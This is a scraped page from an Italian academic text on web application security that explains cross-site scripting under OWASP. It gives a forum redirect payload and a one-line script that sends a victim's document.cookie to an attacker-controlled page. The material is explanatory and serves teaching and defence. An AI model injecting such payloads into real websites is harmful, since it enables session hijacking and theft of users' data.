02.06.2013 Views

analisi e gestione della sicurezza di una complessa applicazione ...

analisi e gestione della sicurezza di una complessa applicazione ...

analisi e gestione della sicurezza di una complessa applicazione ...

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

CAPITOLO VI - Gli attacchi e il progetto OWASP<br />

Quando il client lo esegue fornisce delle informazioni all’hacker che non avrebbe dovuto dare.<br />

La web application è colpevole in quanto vulnerabile e consegna lo script dell’hacker al client;<br />

l’attacco funziona anche in assenza <strong>di</strong> vulnerabilità del browser e dei sistemi operativi <strong>di</strong> client<br />

e server.<br />

Come esempio si può provare a scrivere su un forum nel testo:<br />

location=‘http://www.notrace.it/’;<br />

Successivamente si può salvare questo testo su un forum non protetto da questo attacco e come<br />

risultato si avrà che chi carica la pagina con il messaggio, sarà rein<strong>di</strong>rizzato al sito<br />

www.notrace.it<br />

Ve<strong>di</strong>amo un esempio più pericoloso con questo testo:<br />

document.location=‘http://www.sito.com/leggo-<br />

cookie.asp?’+document.cookie<br />

Con questa riga si possono leggere i cookie rilasciati dal sito vittima e inviarli ad <strong>una</strong> pagina<br />

appositamente creata.<br />

La prima domanda che salta in mente allo sviluppatore riguarda la <strong>sicurezza</strong> degli script. Non<br />

erano forse stati pensati per essere intrinsecamente sicuri? È noto che gli script possono<br />

accedere ad un numero limitato <strong>di</strong> risorse e che il browser impe<strong>di</strong>sce loro, tra le altre cose, <strong>di</strong><br />

accedere ad un arbitrario file su <strong>di</strong>sco o <strong>di</strong> eseguire chiamate <strong>di</strong> sistema. Il fatto è che gli script<br />

possono essere considerati sicuri in quanto eseguiti nel contesto dell’<strong>applicazione</strong> web per cui<br />

sono stati scritti. Non è certamente <strong>di</strong> interesse per un sito <strong>di</strong>vulgare le informazioni sensibili<br />

che gli sono state affidate dall’utente; <strong>di</strong>verso è se lo script è pensato da qualcuno che vuole<br />

rubare queste informazioni.<br />

Rivalutando gli script in quest’ottica, ecco che le risorse a cui devono poter accedere possono<br />

risultare a rischio; tra queste ci possono essere i dati presenti nella pagina web del sito<br />

vulnerabile, i dati prelevabili con richieste Get/Post/XmlHttp al sito <strong>di</strong> provenienza, i cookie<br />

persistenti o ancora dei dati XML usati per esempio da Ajax.<br />

Descritto il meccanismo a gran<strong>di</strong> linee, entriamo in maggiore dettaglio cominciando a<br />

sud<strong>di</strong>videre gli attacchi <strong>di</strong> cross site scripting in due macrocategorie: attacchi stored e<br />

136

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!